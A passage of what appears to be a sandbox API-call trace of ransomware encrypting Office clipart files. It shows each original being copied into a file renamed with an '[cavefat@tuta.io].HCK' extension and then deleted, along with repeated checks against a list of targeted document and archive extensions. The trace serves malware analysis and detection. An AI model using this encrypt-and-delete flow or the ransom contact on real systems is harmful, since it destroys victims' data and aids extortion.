[0231.650] SetEndOfFile (hFile=0x454) returned 1 [0231.652] CloseHandle (hObject=0x454) returned 1 [0231.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.653] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 1 [0231.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0231.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0231.653] lstrlenW (lpString=".doc") returned 4 [0231.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.653] lstrlenW (lpString=".docx") returned 5 [0231.653] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0231.653] lstrlenW (lpString=".pdf") returned 4 [0231.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.654] lstrlenW (lpString=".xls") returned 4 [0231.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.654] lstrlenW (lpString=".xlsx") returned 5 [0231.654] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0231.654] lstrlenW (lpString=".ppt") returned 4 [0231.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0231.654] lstrlenW (lpString=".zip") returned 4 [0231.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.654] lstrlenW (lpString=".rar") returned 4 [0231.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.654] lstrlenW (lpString=".bz2") returned 4 [0231.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.654] lstrlenW (lpString=".7z") returned 3 [0231.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0231.654] lstrlenW (lpString=".dbf") returned 4 [0231.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0231.654] lstrlenW (lpString=".1cd") returned 4 [0231.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0231.654] lstrlenW (lpString=".jpg") returned 4 [0231.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0231.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0231.654] lstrlenW (lpString=".doc") returned 4 [0231.654] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.654] lstrlenW (lpString=".docx") returned 5 [0231.654] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0231.654] lstrlenW (lpString=".pdf") returned 4 [0231.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.654] lstrlenW (lpString=".xls") returned 4 [0231.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.654] lstrlenW (lpString=".xlsx") returned 5 [0231.654] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0231.654] lstrlenW (lpString=".ppt") returned 4 [0231.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0231.654] lstrlenW (lpString=".zip") returned 4 [0231.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.654] lstrlenW (lpString=".rar") returned 4 [0231.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.655] lstrlenW (lpString=".bz2") returned 4 [0231.655] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.655] lstrlenW (lpString=".7z") returned 3 [0231.655] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0231.655] lstrlenW (lpString=".dbf") returned 4 [0231.655] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0231.655] lstrlenW (lpString=".1cd") returned 4 [0231.655] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0231.655] lstrlenW (lpString=".jpg") returned 4 [0231.655] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.655] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.655] lstrlenW (lpString="J0105328.WMF") returned 12 [0231.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0231.656] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=7992) returned 1 [0231.656] CloseHandle (hObject=0x454) returned 1 [0231.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 0x220 [0231.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0231.656] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.656] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0231.657] GetLastError () returned 0x0 [0231.657] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x1f38, lpOverlapped=0x0) returned 1 [0231.658] WriteFile (in: hFile=0x4c4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x1f40, lpOverlapped=0x0) returned 1 [0231.659] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.659] WriteFile (in: hFile=0x4c4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.659] SetEndOfFile (hFile=0x4c4) returned 1 [0231.659] CloseHandle (hObject=0x4c4) returned 1 [0231.659] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.659] SetEndOfFile (hFile=0x454) returned 1 [0231.661] CloseHandle (hObject=0x454) returned 1 [0231.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 1 [0231.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0231.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0231.662] lstrlenW (lpString=".doc") returned 4 [0231.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.662] lstrlenW (lpString=".docx") returned 5 [0231.662] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0231.662] lstrlenW (lpString=".pdf") returned 4 [0231.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.662] lstrlenW (lpString=".xls") returned 4 [0231.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.663] lstrlenW (lpString=".xlsx") returned 5 [0231.663] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0231.663] lstrlenW (lpString=".ppt") returned 4 [0231.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0231.663] lstrlenW (lpString=".zip") returned 4 [0231.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.663] lstrlenW (lpString=".rar") returned 4 [0231.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.663] lstrlenW (lpString=".bz2") returned 4 [0231.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.663] lstrlenW (lpString=".7z") returned 3 [0231.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0231.663] lstrlenW (lpString=".dbf") returned 4 [0231.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0231.663] lstrlenW (lpString=".1cd") returned 4 [0231.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0231.663] lstrlenW (lpString=".jpg") returned 4 [0231.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0231.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0231.663] lstrlenW (lpString=".doc") returned 4 [0231.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.663] lstrlenW (lpString=".docx") returned 5 [0231.663] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0231.663] lstrlenW (lpString=".pdf") returned 4 [0231.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.663] lstrlenW (lpString=".xls") returned 4 [0231.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.663] lstrlenW (lpString=".xlsx") returned 5 [0231.663] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0231.663] lstrlenW (lpString=".ppt") returned 4 [0231.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0231.663] lstrlenW (lpString=".zip") returned 4 [0231.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.663] lstrlenW (lpString=".rar") returned 4 [0231.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.663] lstrlenW (lpString=".bz2") returned 4 [0231.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.664] lstrlenW (lpString=".7z") returned 3 [0231.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0231.664] lstrlenW (lpString=".dbf") returned 4 [0231.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0231.664] lstrlenW (lpString=".1cd") returned 4 [0231.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0231.664] lstrlenW (lpString=".jpg") returned 4 [0231.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.664] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.664] lstrlenW (lpString="J0105332.WMF") returned 12 [0231.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0231.665] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=10508) returned 1 [0231.665] CloseHandle (hObject=0x454) returned 1 [0231.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 0x220 [0231.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0231.667] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.667] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0231.667] GetLastError () returned 0x0 [0231.667] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x290c, lpOverlapped=0x0) returned 1 [0231.669] WriteFile (in: hFile=0x4c4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x2910, lpOverlapped=0x0) returned 1 [0231.669] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.669] WriteFile (in: hFile=0x4c4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.670] SetEndOfFile (hFile=0x4c4) returned 1 [0231.670] CloseHandle (hObject=0x4c4) returned 1 [0231.670] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.670] SetEndOfFile (hFile=0x454) returned 1 [0231.672] CloseHandle (hObject=0x454) returned 1 [0231.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 1 [0231.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0231.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0231.673] lstrlenW (lpString=".doc") returned 4 [0231.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.673] lstrlenW (lpString=".docx") returned 5 [0231.673] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0231.673] lstrlenW (lpString=".pdf") returned 4 [0231.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.673] lstrlenW (lpString=".xls") returned 4 [0231.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.673] lstrlenW (lpString=".xlsx") returned 5 [0231.673] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0231.673] lstrlenW (lpString=".ppt") returned 4 [0231.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0231.673] lstrlenW (lpString=".zip") returned 4 [0231.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.673] lstrlenW (lpString=".rar") returned 4 [0231.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.673] lstrlenW (lpString=".bz2") returned 4 [0231.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.673] lstrlenW (lpString=".7z") returned 3 [0231.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0231.673] lstrlenW (lpString=".dbf") returned 4 [0231.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0231.673] lstrlenW (lpString=".1cd") returned 4 [0231.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0231.673] lstrlenW (lpString=".jpg") returned 4 [0231.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0231.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0231.673] lstrlenW (lpString=".doc") returned 4 [0231.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.673] lstrlenW (lpString=".docx") returned 5 [0231.673] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0231.673] lstrlenW (lpString=".pdf") returned 4 [0231.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.674] lstrlenW (lpString=".xls") returned 4 [0231.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.674] lstrlenW (lpString=".xlsx") returned 5 [0231.674] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0231.674] lstrlenW (lpString=".ppt") returned 4 [0231.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0231.674] lstrlenW (lpString=".zip") returned 4 [0231.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.674] lstrlenW (lpString=".rar") returned 4 [0231.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.674] lstrlenW (lpString=".bz2") returned 4 [0231.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.674] lstrlenW (lpString=".7z") returned 3 [0231.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0231.674] lstrlenW (lpString=".dbf") returned 4 [0231.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0231.674] lstrlenW (lpString=".1cd") returned 4 [0231.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0231.674] lstrlenW (lpString=".jpg") returned 4 [0231.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.674] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.674] lstrlenW (lpString="J0105336.WMF") returned 12 [0231.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0231.675] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=2900) returned 1 [0231.675] CloseHandle (hObject=0x454) returned 1 [0231.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 0x220 [0231.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0231.676] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.676] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0231.676] GetLastError () returned 0x0 [0231.676] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0xb54, lpOverlapped=0x0) returned 1 [0231.677] WriteFile (in: hFile=0x4c4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xb60, lpOverlapped=0x0) returned 1 [0231.678] ReadFile (in: hFile=0x454, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.678] WriteFile (in: hFile=0x4c4, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.678] SetEndOfFile (hFile=0x4c4) returned 1 [0231.678] CloseHandle (hObject=0x4c4) returned 1 [0231.678] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.679] SetEndOfFile (hFile=0x454) returned 1 [0231.932] CloseHandle (hObject=0x454) returned 1 [0231.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 1 [0232.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0232.129] lstrlenW 